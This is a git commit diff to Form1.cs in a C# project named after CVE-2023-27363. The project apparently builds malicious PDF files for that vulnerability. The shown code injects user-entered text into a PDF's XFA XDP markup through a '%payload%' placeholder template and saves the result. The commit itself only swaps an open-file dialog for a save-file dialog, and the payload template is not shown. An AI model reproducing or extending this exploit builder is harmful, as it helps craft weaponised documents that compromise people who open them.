Update Form1.cs

This commit is contained in:
簞純 2023-08-14 07:25:40 +08:00
parent 3eda11502a
commit 2ab4012815
1 changed files with 6 additions and 5 deletions

View File

@ -35,11 +35,12 @@ namespace CVE_2023_27363
document.Close();
Document doc = new Document(stream);
doc.Form.XFA.XDP.InnerXml = Properties.Resources.String1.Replace("%payload%",textBox1.Text);
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Multiselect = false;
openFileDialog.Filter = "(*.pdf)|*.pdf";
if (openFileDialog.ShowDialog() == DialogResult.OK)
doc.Save(openFileDialog.FileName);
SaveFileDialog saveFileDialog = new SaveFileDialog();
saveFileDialog.InitialDirectory = Application.StartupPath;
saveFileDialog.OverwritePrompt = false;
saveFileDialog.Filter = "(*.pdf)|*.pdf";
if (saveFileDialog.ShowDialog() == DialogResult.OK)
doc.Save(saveFileDialog.FileName);
}
}
}